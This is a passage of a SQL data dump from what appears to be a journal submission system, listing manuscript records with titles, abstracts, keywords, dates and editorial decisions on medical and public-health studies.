Editor',0,NULL,NULL,NULL,0,0,0,NULL,0),(7702,8936,73,0,'ipjnn-21-7702','\"What happens in the top-Athletes\' Mind?\" A review study',NULL,15,2,'','During last decades by inception of Neuroscience and increasing experimental researches on catecholamine neurotransmission, the importance of Dopamine has been raised more than past.  Dopamine is a crucial neurotransmitter with precursors (biosynthesis) –tyrosine, L-DOPA that is implicated in many neuropsychological disorders. Dopamine functions are also has engaged into body movement and as well it has role in eye movements. Dopamine also has role on cognitive and enhance the visuo-motor tasks such as playing baseball game via training by strobospectacle.   Therefore, in this article we explain its role and its architecture (i.e. receptors, basal ganglia and striatum and their pathways). , and its role upon influencing saccade and persuit eye movements. Finally we  try to answer the main question how do strobotraining affect brain dopamine levels and coordination of athletes\' movements?','Dopamine, Saccade, Stroboscope training, visuo-motor skill',327,NULL,'2021-03-08',NULL,'Submitted',19,NULL,'2021-03-27',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(7712,8944,639,0,'ipfs-21-7712','Evaluation of Biological Aspects of Baringo Barb Labeobarbus intermsdius (Ruppell 1835) in Lake Baringo',NULL,14,0,'','The Baringo barb Labeobarbus intermsdius is one of the least studied native fish species in Lake Baringo, a shallow freshwater lake located in the eastern arm of the Rift Valley, Kenya. This study evaluated aspects of its biology to provide baseline scientific information on the species. Fish were sampled using gillnets and their lengths (to the nearest 0.1 cm) and weight (to the nearest 0.1 g) measured on a meter board and electronic balance respectively. Parameters of the length-weight relationship were obtained by fitting the power equation; W = a × Lb to length and weight data. Each fish was dissected to remove the stomach for stomach content analysis. Gonads examined gonads for sexing and determination of maturity stage. Fish size in a total of 280 individual sampled during the study ranged from 6.0 to 36.0 cm total length and 4.3 to 1314 g total weight. The b value of the length-weight relationship was 3.1177 indicate positive allometric growth.  Of 254  sexed individuals  107 were males and 147 were female giving a ratio of male to female to be 1: 1.38 which was significantly different from the expected 1: 1 sex ratio (chi-square test, p <0.05). In this study, all the maturity stages were observed except stages VI and VII in male and VII in females. The most important food items of Baringo barb in Lake Baringo were detritus, algae and seeds but other items were consumed consistently with benthic feeding. There is a need for longer-term studies on the biology of this commercially important species to provide data to guide its sustainable exploitation and conservation.','Labeobarbus intermsdious; Food and feeding habits; sex ratio; Lake Baringo; potamodromous',1771,NULL,'2021-03-09',NULL,'Submitted',2,NULL,'2021-04-29',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(7728,8950,45,0,'iphsj-21-7728','Human right violations in the 2018 Ebola outbreak: What can improve in COVID-19 isolation protocols? ',NULL,15,0,'','Amidst the wake of the Ebola virus disease (EVD) that has been ravaging parts of Africa, several isolative measures are followed to halt the spread of the epidemic. Many of these measures are yet drastic and directly affect the fundamental rights of individuals involved. The EVD outbreaks open a big discussion on public health and human rights. This article focuses on the human rights violated in the battle of EVD and considers how these are similar, yet can be avoided in the management of COVID-19.','',685,NULL,'2021-03-09',NULL,'Submitted',2,NULL,'2021-03-23',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7729,8951,959,0,'ipacr-21-7729','Antitumor activity of normal and chitosan nanoparticles loaded with different extracted  vitamin B types',NULL,19,0,'','Fresh fruits are considered as a healthy source of water soluble vitamins. Vitamins are needed for \r\nmetabolic reactions, their deficiency or increased intake lead to different irregularities in normal \r\nmetabolism. Our work aimed to determine some different types of vitamin B as B1, B6, B2, B9 and B17 \r\nand applications of different methods of extracting and analyzing them by HPLC then loading them on \r\nchitosan nanoparticles (CSNPs) to study its biological applications and cytotoxicity on different cell \r\nlines. HPLC analysis of acid hydrolysis samples showed that thiamine (B1) was found in range of \r\n88.13-96.66 %, riboflavin (B2) was 95 - 96.216 %, pyridoxine (B6) was 95.22 - 100 %, folate (B9) 95.6 \r\n- 96.94 % while amygdalin (B17) was 94.975-96.66 %. After loading vitamins with chitosan, the results \r\nshowed cytotoxic activities of Vitamins B1, B2, B6, B9 and B17 as these extracted vitamins were tested \r\nagainst different cancerous and normal cell lines. Vitamin B6 nanoparticles showed the best cytotoxic \r\neffect on different cancerous cell lines as Hepatocelluar carcinoma (HePG2), Mammary gland Breast \r\ncancer (MCF-7) and Epitheliod Carcinoma Cervix cancer (Hela) and it can be considered as a safe \r\ncompound on normal cell as normal human lung fibroblast cell line (WI-38)',' Cytotoxicity, Vitamins B, Amygdalin, HPLC, Chitosan, Nanoparticles.',3216,NULL,'2021-03-10',NULL,'Submitted',2,NULL,'2021-04-02',NULL,1,1,'0','accept',0,'','',NULL,0,0,0,NULL,0),(7734,8956,85,0,'iphspr-21-7734','How waste audits in the health care setting can reduce supply chain waste',NULL,3,0,NULL,'In October of 2018, the Intergovernmental Panel on Climate Change (IPCC) published a startling report that warned the public and policy makers about the environmental consequences of global warming exceeding 1.5 °C above pre-industrial levels by 2030. In addition to acting as a warning to the public, this report was also a call to action for “upscaling and acceleration of far-reaching, multilevel and cross-sectoral climate mitigation” [1].','health care, waste audits, cross-sectoral climate mitigation',3413,NULL,'2021-03-10',NULL,'Submitted',4,NULL,'2021-07-06',NULL,1,1,'1','                         ',0,NULL,NULL,NULL,0,0,0,NULL,0),(7735,8948,45,0,'iphsj-21-7735','Assessing factors associated with poor community based health insurance client satisfaction level with public health care services in Negele Arsi Woreda health centers, West Arsi Zone Ethiopia',NULL,14,0,NULL,'Community-based health insurance (CBHI) schemes are an emerging tool for providing financial protection against health-related poverty. In Ethiopia, CBHI is being piloted in 13 districts and expanded to 427 but community satisfaction with the scheme and health service delivery study have yet limited. Therefore, this study aimed to assess the satisfaction of CBHI client on the public health service they acquire.\r\nMethods: A facility based cross-sectional study design was conducted from March and April, 2019 in Arsi Nagele Woreda health centers. Three hundred ninety eight participants who visited the health care facility during the study period were included for quantitative and key informants interview were conducted .Data were entered in to and analyzed using SPSS version 22 and analyzed using descriptive and logistic regression model for quantitative and thematic analysis for qualitative study. \r\nResult: A total of 399 patients were participated in the study, yielding a response rate of 95% of which, 63.1 % were male, 24.4% of the clients were illiterates and almost 50% were from Kello Dure health center. The findings of the study showed that the overall client satisfaction level of CBHI with the health services received from the targeted health centers were 63.4% (95% CI= 26.1-35.2). Clients who aged from 15-24 years [AOR=0.34 (95%CI= 1.34-8.00)]. Those who have level of secondary education and above [AOR=0.45 (95% CI: 1.56-4.40)], waiting time at consultation area [AOR=0.68 (95% CI: 1.01-3.87)] and drugs availability [AOR=0.71 (95% CI: 2.15-10.30)].Clients who were informed about service available at health facilities [AOR=2.11(95% CI: 1.29-3.47)] were less likely unsatisfied with service delivered at health facilities. Qualitative research showed that the most unsatisfactory aspect for the CBHI clients on health service was lack of human power and Drugs.\r\nConclusion and recommendation: This study showed higher clients’ satisfaction level in Arsi Negele district health facilities when compared to similar studies in the country. Young age, lack of drugs and supplies, poor information provision, long waiting time at consultation, was found to be the major causes of dissatisfaction. Therefore, the district health offices better to work on the quality of the service particularly around the waiting time of patient and health care provider interaction and drug accessibility.','Community-based health insurance, Satisfaction score, Arsi Negele, Ethiopia',643,NULL,'2021-03-10',NULL,'Submitted',2,NULL,'2021-06-07',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7741,8963,85,0,'iphspr-21-7741','Factors Influencing Satisfaction of healthcare professionals to deliver quality services for customers at Asella Referral and Teaching Hospital',NULL,14,3,'','Background: Every healthcare professional is an integral to healthcare service delivery system. Low job satisfaction can result in low productivity, absenteeism, improper patient care, patient dissatisfied and poor quality of healthcare deliveries. Regarding to this issues there are no any adequate information at the study area. The aim of this study is to determine factors influencing satisfaction of healthcare professionals to deliver quality services for customers at Asella Referral Teaching Hospital Arsi University, Oromia regional state, south-east Ethiopia.\r\nMethods: A cross-sectional study design was employed at study site. During study period 302 of healthcare professionals working in the hospital were involved in the study. Data was collected using adapted self-administered questionnaire and entered into Epi3.1 then exported to Statistical Package Social Sciences version 20.0 windows statistical software for analyzed. The data was summarized and organized in tables and figure. Factor score was computed for the items identified to represent the satisfaction scale by varimax rotation method. Using this regression factor score, multivariate linear regression analysis was performed and the effect of independent variables on the regression factor score was quantified and P-value <0.05, at 95% CI was taken as cut off point for statistical significance.\r\nResult: A total of 271 healthcare professionals responded for the self- administered questionnaire; over half 139(51.9%) of the participants were females and the mean age was (31±7.66) years for both sexes. It is found that about fifty seven percent (57.2%) of the health care professionals were satisfied with their current job. Most of job satisfaction subscales such as working condition, opportunity to develop, responsibility, supervision, age of respondents, level of education and profession were significantly influencing factors for job satisfaction at p-value (p<0.05).\r\nConclusion: Health professionals’ job satisfaction at Assela Referral Teaching Hospital was slightly below moderate level of job satisfaction. Factors like working condition, supervision, responsibilities and opportunity to develop were significantly influenced job satisfaction at workplace. Therefore, the concerning body should work hard towards improving the level of job satisfaction addressing the aforementioned major factors.\r\n','Job satisfaction, Healthcare professionals, Asella referral Teaching Hospital',2141,NULL,'2021-03-11',NULL,'Submitted',18,NULL,'2021-07-20',NULL,1,1,'0','                                  ',0,'','',NULL,0,0,0,NULL,0),(7746,8967,326,0,'IPJUS-21-7746','Gynecomastia surgery',NULL,5,0,NULL,'Gynecomastia is well-defined as widespread enlargement of male breast tissue, with the presence of a hard or firm mass spreading concentrically and symmetrically from the nipple, attended by histopathologically benign proliferation of glandular male breast tissue. It typically occurs consensually and is the most common breast disorder in males. Gynecomastia is categorized by: Excess glandular tissue development, Excess localized fat, Presence unilaterally (one breast) or bilaterally (both breasts) and Sometimes excess breast skin.','Gynecomastia, Breast, tissue, Male breast, proliferation',2505,NULL,'2021-03-11',NULL,'Submitted',2,NULL,'2021-03-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7747,8967,326,0,'IPJUS-21-7747','Overview of Neonatal Surgery ',NULL,5,0,NULL,'Neonatal surgery is a sub-specialty of pediatric surgery that comprises of the clinical care of new born infants, particularly premature new born or ill infants. It is a hospital created department, and is generally practised in neonatal intensive care units (NICUs). Practicing surgeons completely concentrating on neonates, infants in the first 28 days after birth, low birth weight, congenital malformations (birth defects), sepsis, intrauterine growth restriction, pulmonary hypoplasia or birth asphyxia are known as neonatal surgeons. Neonatal surgeons regularly do curative surgeries, as well as abdominal, chest, and urological defects.','Neonatal, Child, New born, asphyxia',2505,NULL,'2021-03-11',NULL,'Submitted',2,NULL,'2021-03-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7748,8967,326,0,'IPJUS-21-7748','Plastic surgery ',NULL,5,0,NULL,'Plastic surgery is a surgical procedure that involves the alteration, restoration, and reconstruction of human body. It is divided into two main classifications: 1) reconstructive surgery 2) cosmetic surgery. The aim of the reconstructive surgery is to reconstruct a part of the body and\r\nimprove its functioning, whereas cosmetic surgery is carried out to improve the appearance of the body. Examples of reconstructive surgery include craniofacial surgery, hand surgery, microsurgery, and the treatment of burns.','Skin, Plastic surgery, Burns',2505,NULL,'2021-03-11',NULL,'Submitted',2,NULL,'2021-03-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7749,8967,326,0,'IPJUS-21-7749','Role of Robotics in surgery',NULL,5,0,NULL,'Robotic surgery is the forms of surgical procedures that are completed via robotic systems. Robotically-assisted surgery was recognized to overwhelmed the limitations of pre-existing minimally-invasive surgical procedures and to improve the capabilities of surgeons performing open\r\nsurgery. Within the last era, robotic-assisted surgery has developed with the ability of outspreading the benefits of minimally invasive surgery to virtually every surgical specialty while weakening patient illness and enlightening postoperative outcomes.','Robotic Surgery, Robotic arms, Robot',2505,NULL,'2021-03-11',NULL,'Submitted',2,NULL,'2021-03-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7750,8967,326,0,'IPJUS-21-7750','Thyroidectomy',NULL,5,0,NULL,'A thyroidectomy is a procedure that includes the surgical elimination of all or part of the thyroid gland. In overall surgery, endocrine or head and\r\nneck surgeons frequently perform a thyroidectomy once a patient has thyroid cancer or some other illness of the thyroid gland (such as hyperthyroidism) or goiter. Other signs for surgery contain symptomatic obstruction (causing difficulties in swallowing or breathing) or cosmetic\r\n(very enlarged thyroid). Thyroidectomy is a joint surgical procedure that has numerous potential complications or sequelae involving: temporary or permanently low calcium, temporary or permanent change in voice, bleeding, infection, need for lifelong thyroid hormone replacement, and the remote opportunity of airway obstacle due to bilateral vocal cord paralysis.','Thyroidectomy, Thyroid, neck, Thyroid hormone',2505,NULL,'2021-03-11',NULL,'Submitted',2,NULL,'2021-03-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7751,8968,251,0,'ipacm-21-7751','Potential for mucosal delivery of Bacillus subtilis spore vaccines displaying immunogenic protein on the surface',NULL,19,0,NULL,'Vaccines are the most effective measures to prevent infectious diseases, and most of these infections occur through the mucous membranes that cover the surfaces of the viral organs of our body. Mucosal vaccination is, however, challenging. The numerous natural defense mechanisms at mucosal surfaces, including the acidic and enzyme-rich environment and the thick and firm mucus layer make the delivery of vaccines across these natural barriers challenging. \r\nProbiotic-grade B. subtilis spores could be utilized by the surface display technology as a mucosal vaccine delivery system and simultaneously as an adjuvant for mucosal immunity for the following reasons: 1) B. subtilis spores are resistant at ambient temperatures but remain viable; 2) B. subtilis spores are safe enough for consumption by humans as food components, probiotics, or therapeutics; 3) B. subtilis can be genetically manipulated, making it possible to engineer bacteria that express and display immunogens on the spore surface or in vegetative cells; and 4) B. subtilis spores can serve as non-invasive vaccine delivery systems.\r\nAs a vaccine with ‘needle-free’ administration that is easy to store and transport under extreme conditions and does not require injection, the need for development is deemed to be high, as it has high application value for mass vaccination such as in a widespread disease outbreaks. A high-efficiency expression system on Bacillus spore, the control of proteolytic enzymes and redesign of genes encoding target proteins have been rapidly advanced. \r\nIt would be interesting to explore whether there are any particular spore types or Bacillus strains that show enhanced immunity with antigens displayed on the spore surface. Further discussion should be dedicated to other promising specific antigens and immunization routes that may lead to longer-lasting and more-efficacious vaccines with available technology.','Bacillus subtilis, spore, surface display, mucosal vaccine',3944,NULL,'2021-03-11',NULL,'Submitted',2,NULL,'2021-04-29',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(7763,8980,45,0,'iphsj-21-7763','Blood Donation In Another Vision',NULL,9,0,NULL,'Donating blood is one of the ways that help save the lives of people, and this blood is required to be free from the diseases that are transmitted through it, because blood cannot be kept for long periods of time, it is imperative to donate blood continuously to preserve Blood banks are equipped with different types of blood, to ensure that they are obtained when needed, to understand that it is worth noting that there are many cases that require blood transfusions','Blood Donation',643,NULL,'2021-03-12',NULL,'Submitted',2,NULL,'2021-03-26',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7764,8981,86,0,'ipaom-21-7764','Identifying the Significance of Consanguinity for Epilepsy Patients at King Abdulaziz University Hospital in Jeddah, Saudi Arabia',NULL,14,0,'','Background:\r\nEpilepsy in children is the most common neurological disorder leading to disability, a large percentage of epilepsy is idiopathic. it is defined as 2 or more unprovoked or reflex seizures occurring > 24 hours apart. There are 724,500 people with epilepsy live in the Arab world. Prevalence in Saudi Arabia is approximately 6.5/1,000. Around the world, cultures play a role in consanguineous marriages. Consanguinity means involvement or union of two individuals who l50% of all marriages. Moreover, around 50% of Arab marriages are consanguineous. In Saudi Arabia, the overall consanguinity was 42.1-66.77%.\r\n\r\nAim of the study:\r\nThe goal of this study was to assess the significant association between consanguinity and epilepsy.\r\n\r\nMethodology:\r\nThis unicentral retrospective cross-sectional study included 247 patients who were admitted to the pediatric inpatient department in KAUH from 2016-2018, and who was in the pediatric age group. Method of collection were by phone interviews with the parents after taking verbal consent.\r\n\r\nResults:\r\nThe participants were 247 collected by phone interview out of which 137 were included in the result. The overall percentage of epilepsy was 47.4%. 76.5% (65) of them were consanguineous and diagnosed with idiopathic epilepsy. However, a proportion of 23.5% was not consanguineous.\r\n\r\nConclusion:\r\nWe found that there is an insignificant association between consanguinity and epilepsy. which may suggest that consanguinity is not a major risk factor for epilepsy. Recommendations for future studies should increase the sample size and include multiple data collections centers, also to include both adult and pediatric age groups.\r\n','',3362,NULL,'2021-03-12',NULL,'Submitted',4,NULL,'2021-05-22',NULL,1,1,'0','Send for revision',0,'','',NULL,0,0,0,NULL,0),(7776,8994,251,0,'ipacm-21-7776','Commentary on A Study of Emergency Medical Service Personnel and Law Enforcement Official Willingness to Respond to Disasters',NULL,3,0,NULL,'In every disaster scenario, emergency responders face tremendous uncertainty and risk that would influence their willingness to respond (WTR). Hence, it is important to gain better understanding of psychological root causes for emergency responders to abandon their roles and, in turn, to develop better disaster response strategies.  Our recent study has shown that the overall WTR of Louisiana EMS and LEO personnel is 69.9%. In addition, emergency responders’ WTR decreased as perceived threat increased. The statistically significant influences on WTR were fear of working an unfamiliar role, concern for family, self-safety, feeling well-prepared to respond, duty to colleagues, and increasing the frequency of training.','role abandonment, willingness to respond, disaster response.',3944,NULL,'2021-03-13',NULL,'Submitted',2,NULL,'2021-04-08',NULL,1,1,'0','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(7778,8996,975,0,'ipjbs-21-7778','Old Drug, New Target: inhaled Lithium attenuates changes in Lung Mechanics in Bleomycin induced animal model of Lung Fibrosis ',NULL,14,0,'','Background:\r\nIdiopathic pulmonary fibrosis remains an incurable disease with poor prognosis. Recently the focus in research on the possible pathogenesis of this debilitating illness has shifted, at least in part, to premature accelerated aging of lung tissue as a driving force leading to fibrosis. Telomere shortening as a marker of premature aging, may play an important role in an approach to understand idiopathic pulmonary fibrosis pathophysiology. The goal of this study was to test the effect of inhaled lithium on pulmonary fibrosis, as a potential new treatment modality. The reason for such an approach was based upon observational results published in several articles demonstrating the ability of lithium to elongate telomeres of patients on long-term lithium treatment for bipolar disorder.  \r\nResults: \r\nWe conducted an animal studies in a Bleomycin induced model of pulmonary fibrosis to investigate this hypothesis. Results of these studiesµ have shown a beneficial effect of inhaled lithium. Mice were protected from changes in gas exchange (hypoxia) as well as from changes in lung mechanics, experiencing reversion of these changes that are characteristic of pulmonary fibrosis in the Bleomycin induced model of pulmonary fibrosis.\r\nConclusion: \r\nTaking in account the multiple cellular and physiological effects of lithium we do not want to be bound by one theory of the beneficial action of inhaled lithium to Bleomycin induced lung fibrosis. Given these positive preliminary results we suggest that further studies are indicated to expound upon the therapeutic implications of this approach to idiopathic pulmonary fibrosis.\r\n','Idiopathic pulmonary fibrosis, Lithium, FlexiVent, Oxygen saturation',3460,NULL,'2021-03-13',NULL,'Submitted',2,NULL,'2021-04-02',NULL,1,1,'0','Publish it',0,'','',NULL,0,0,0,NULL,0),(7779,8997,45,0,'iphsj-21-7779','KNOWLEDGE, ATTITUDE AND UTIIZATION OF ANTENATAL CARE AMONG CHILDBEARING WOMEN IN WASINMI COMMUNITY, OGUN STATE, NIGERIA.',NULL,14,0,'','Abstract\r\nBackground:  Antenatal care (ANC) is the care given to mother and fetus during gestational period in getting best result for both the mother and child. Despite global efforts in promoting the use of ANC, several women across communities and states in developing countries are still not utilizing this service. It is on this note the researcher assessed the Knowledge, Attitude and Utilization of Ante natal care services among the Child-bearing women at Wasinmi community, Ogun State, Nigeria.\r\nMaterials and Methods: The study is a descriptive cross-sectional study and multistage sampling technique method was used in selecting four hundred and thirty-eight child bearing women who participated in the study. Self-constructed questionnaire was utilized in collecting data. Data was analyzed using descriptive and statistical test.\r\nResults: Findings showed that 361 (82.4%) respondents had high knowledge on ANC and 426(97.3%) had good attitude towards ANC, 242 (55.3%) made use of ANC during pregnancy. Using multiple regression the following factors were identified to be associated with utilization of antenatal services among the Child-bearing women., number of children(OR=2.9, p=0.000), type of family(OR=2.1, p=0.05), tribe(OR=1.7, p=0.001), respondents educational status (OR=2.0, p=0.000) and husband educational status (OR=1.5, p=0.000) \r\nConclusion: Although majority of the women displayed high knowledge and positive attitude towards of ANC services, the rate of utilization is a bit low, there is a need for more health educational programs for women at community level via various medium accessible to the community.\r\nKey words: Knowledge, Attitude, Utilization, Antenatal Care (ANC), Child bearing women\r\n','',456,NULL,'2021-03-13',NULL,'Submitted',16,NULL,'2021-03-25',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7806,9028,45,0,'iphsj-21-7806','Systematic Mapping Study of The Covid-19’s Psychological Impact',NULL,15,0,'','The COVID-19 (SARS-CoV-2) pandemic constitutes a major health crisis affecting numerous nations, with over 82,994,220 cases and 1,810,360 confirmed deaths reported to date. Such widespread outbreaks are associated with adverse mental health consequences. Understanding the extent of these challenges is the main focus of the current manuscript. We conducted a Systematic Mapping Study for collecting, cataloguing, and classifying research activities that explore the phycological impact of COVID-19, including anxiety, depression, and stress which seem to be common psychological reactions to the COVID-19 pandemic. Two main research areas are explored through literature review: a) observational studies, reporting on mental health symptoms in particular populations, and b) commentaries and review articles, addressing the psychological impact of COVID-19 on the general population, the healthcare workers, and the high-risk populations. There is a need for a more systematic research approach, especially regarding the impact of the virus on other vulnerable populations.','Covid-19, Psychological Impact, Stress, Anxiety, Public Health',687,NULL,'2021-03-15',NULL,'Submitted',2,NULL,'2021-03-29',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7824,9046,73,0,'ipjnn-21-7824','Cognitive deficit and computerized training of cognitive functions in patients diagnosed with anorexia nervosa: a review study',NULL,19,0,'','anorexia nervosa (AN) is a complex eating disorder with an enduring nature and low rates of full recovery. There is limited evidence for the treatment of AN, due to the difficulties to conduct clinical trials caused partially by high drop-out rates and low treatment acceptance rates. Deficit in neuropsychological function is frequently observed in AN. Authors underline the importance of cognitive deficit for the psychosocial functioning of patients with eating disorders. Until a few years ago it was commonly believed that the brain had never changed its cells and the neurons were destined to a gradual but inexorable death, more pronounced after twenty-five years of age. In 1998 Eriksson published in the prestigious journal Nature Medicine a study which showed that nerve cells could also be subject to the phenomenon of neurogenesis; the results, replicated in different parts of the world, were observed mainly in hippocampus and periventricular structures of the brain.\r\nEriksson\'s work was a turning point because finally to the threshold of the third millennium, it was confirmed once and for all that the nervous system is able to change their structure in response to both stimuli from the body as well as those from the external environment. Brain training is strongly linked to neuroplasticity, a change in neural structure and function in response to experience or environmental stimulation. In this article we will examine the different types of brain training and their effectiveness with anorexic patients. Intervening on the cognitive functions improvement in patients with AN opens up a new path to improving therapeutic compliance and it is promising in enhancing the effectiveness of concurrent treatment.\r\n','Neuropsychology, executive functions, cognitive training, adult neurogenesis',352,NULL,'2021-03-16',NULL,'Submitted',12,NULL,'2021-04-12',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(7830,9050,45,0,'iphsj-21-7830','A STUDY TO ASSESS THE MATERNAL PERCEIVED QUALITY OF LIFE FOLLOWING CHILD BIRTH AMONG POSTNATAL MOTHERS IN SELECTED HOSPITAL AT NAGPUR CITY”.',NULL,14,0,'','Introduction: The women are mass likely to experience depression in her lifetime. Women experienced at least one mistreatment type during childbirth. Verbal abuse increased the likelihood of having postpartum depression among mothers. There are also significant socio-economic inequalities in access to postpartum care even for those accessing facility-based care. Less attention paid to postpartum mothers by health care provider after delivery. Family members and relatives’ disrespect, abuse or neglectful treat to mothers following childbirth leads to postpartum depression.  Aim of the study was to examine the mother’s quality of life that is essential to explore predictor affecting the quality of life of mothers. Objectives: The objectives of the study were to assess the maternal perceived quality of life among postnatal mothers following childbirth and to determine the association between selected demographic variables and quality of life among the postnatal mothers by using maternal postpartum quality of life questionnaire (MAPP-QOL). Method: The research design used was descriptive research design. The sample was 30 postnatal mothers from Daga Memorial Hospital at Nagpur city. Non-probability convenience sampling technique were used. The data was collected by using Maternal Postpartum Quality of life questionnaires (MAPP-QOL) by WHO. The data collected tool was validated by 7 experts. The data collected were tabulated, analyzed and interpreted by researchers. Result: The main study to assess maternal perceived quality of life following childbirth among postnatal mothers. The data was calculated by using Chi square test and the mean percentage of maternal perception of quality of life is 110.36 and standard deviation for quality of life 17.33826. The finding of the study revealed that there was significant association between demographic variables and maternal perceived quality of life following childbirth among the postnatal mothers at the level of significance 0.05.Conclusion: The study shows that maternal perceived quality of life following childbirth among postnatal mothers, 0% postnatal mothers having very dissatisfied quality of life, 6.666% postnatal mothers having dissatisfied quality of life, 13.33% postnatal mothers having neither satisfied nor dissatisfied quality of life, 66.66% postnatal mothers having satisfied quality of life, 13.33% of postnatal mothers having very satisfied quality of life. \r\n\r\n','Quality of life, Postnatal Mothers, Perception',3202,NULL,'2021-03-17',NULL,'Submitted',2,NULL,'2021-04-30',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7832,9052,45,0,'iphsj-21-7832','Anthropometry and body composition of elite Brazilian soccer players according to the playing position',NULL,14,0,NULL,'Aim: The aim of this study was to examine the differences in anthropometric characteristics and body composition of elite soccer athletes, according to playing position and function performed.  Methods: Ninety-seven elite athletes (24.68 ± 4.21 years) from a first division team of Brazilian soccer were assessed for body mass, stature and seven skinfolds, to determine body mass index, fat percentage, as well as fat mass and fat-free mass. Differences in the anthropometric characteristics and body composition, according to playing positions and function performed were evaluated with the Multivariate Analysis of Variance (MANOVA).  Quantitative chances of finding differences and effect sizes (ES) were also interpreted. Results: Goalkeepers (GO) and central defenders (CD) had likely to most likely higher stature and body mass than fullbacks (FB), defensive (DM) and offensive (OM) midfielders, and forwards (FW) (ES varying between 0.92 and 2.62); DM had also higher body mass than OM (ES = 1.04). GO likely to very likely had higher body fat percentage and fat-free mass than other positions (ES varying between 1.49 and 2.07). OM likely to very likely had lower fat mass than GO, CD and DM (ES varying between 1.04 to 2.06). FB likely to very likely had also lower fat mass than GO and CD (ES = 1.29 and 1.73, respectively). Conclusion: Our results provide useful information for help coaches and other soccer professionals in the planning and control of training and nutrition in elite Brazilian soccer athletes.','Soccer; Anthropometry; Body Composition.',643,NULL,'2021-03-17',NULL,'Submitted',2,NULL,'2021-03-31',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7843,7901,277,0,'ipadm-21-7843','PALIVIZUMAB ESTRATEGIA INMUNOLÓGICA EN EL TRATAMIENTO Y PREVENCIÓN DEL VIRUS SINCITIAL RESPIRATORIO',NULL,5,0,'','Los niños durante sus dos primeros años de vida son susceptibles a contraer  infecciones mediadas por el virus respiratorio sincitial (VRS), el cual según datos epidemiológicos afecta  al 70% de los bebés antes del primer año y casi al 100% de los niños a los 2 años de edad. No obstante, hasta la fecha no existe vacuna para este virus, debido principalmente a las respuesta inmunologicas que podrían causar a la población diana. En este sentido,  la FDA a aprobado el uso de palivizumad como estrategia profiláctica para el VSR. Este fármaco es un anticuerpo monoclonal que ha mostrado reducir en países desarrollados la mortalidad infantil.','Virus VSR, niños, profilaxis, palivizumad',2805,NULL,'2021-03-18',NULL,'Submitted',2,NULL,'2021-04-24',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(7854,8948,45,0,'iphsj-21-7854','Knowledge, attitude and practice on unsafe abortion among female students in Batu Terara preparatory school Goba town, southeast Ethiopia',NULL,14,0,'','Background: Globally, unsafe abortion is a public health problem, which accounts approximately 20 million each year, resulting nearly 80,000 maternal deaths and hundreds of disabilities and the problem is more severe in developing countries. In Africa the risks of dying from unsafe abortion is one in hundred fifty, and unsafe abortion accounts for up to 25-35% of maternal deaths in Ethiopia being a critical public health problem with possible complication like hemorrhage, sepsis, incomplete abortion and damage to internal organs.\r\nObjective:  The aim of the study was to assess knowledge, attitude and practice of unsafe abortion among female students in Batu Terara Preparatory school, Goba town in April, 2013.  \r\nMethodology: A school based descriptive cross sectional study were conducted to assess knowledge, attitude and practice of female students in Batu Terara preparatory school Goba town on unsafe abortion in April, 2013. The data were collected by using self administer closed ended structural questionnaires and systematic sampling technique. The data were processed using SPSS version 16. \r\nResults: Out of 182 respondents 108(59.34%) were knowledgeable 85(47.5%) of them had good attitude, in addition to this 22(12.08%) were experienced abortion of which 19(16.48%) were faced bleeding. \r\nConclusion and recommendation: majority of the respondents’  who practiced induce abortion 16(8.8%) were under 20 years of age and of those who induce abortion, most 15.9% were by traditional healer and themselves, so health professionals should give health education at school and community level.','knowledge, attitude, practice, unsafe abortion, female students, preparatory school, southeast Ethiopia',643,NULL,'2021-03-20',NULL,'Submitted',2,NULL,'2021-04-30',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7868,9084,45,0,'iphsj-21-7868','Data systems international ',NULL,14,0,'','The cloud inventory for Data Systems international and fast mobile applications have empowered most organizations with real-time visibility of inventory across all supply chain networks. The global team (DSI) is based in the city of Kansa and is characterized by vast knowledge in the supply chain through the fast development of mobile applications. These fast mobile applications are necessary in solving the many challenges underlying the business world today. The Data Systems international inventory cloud is also facilitated by a construction company based in the United States. ','data systems international, MAREK, Mobile applications. ',4076,NULL,'2021-03-21',NULL,'Submitted',16,NULL,'2021-03-26',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7871,9086,73,0,'ipjnn-21-7871','Bradykinic- mediated angioedema related to alteplase successfully treated by frozen fresh plasma (FFP) in Saudi Arabia: First case report and literature review.',NULL,2,0,'','Angioedema can be a life-threatening complication after thrombolytic therapy (tPA). The incidence is 1-5%, the risk of developing bradykinin-mediated angioedema is multiplied by 6 in patient on angiotensin converting enzyme inhibitor. Most therapeutic options are ineffectives or expensive and not available. FFP is known as effective treatment for bradykinin- mediate angioedema since 1969 but never reported in case of angioedema tPA induced. We report a case of 60year old patient with history of hypertension treated with angiotensin converting enzyme inhibitor, who developing severe bradykinin- mediates angioedema 10 min after the end of thrombolytic therapy. The patient was treated successfully with FFP. We are reporting this case to increase the awareness of physicians and to widen their therapeutic options when encountering this clinically significant condition.','stroke\r\nalteplase (tPA)\r\nbradykenin-mediate angioedema\r\nfrozen fresh plasma (FFP) 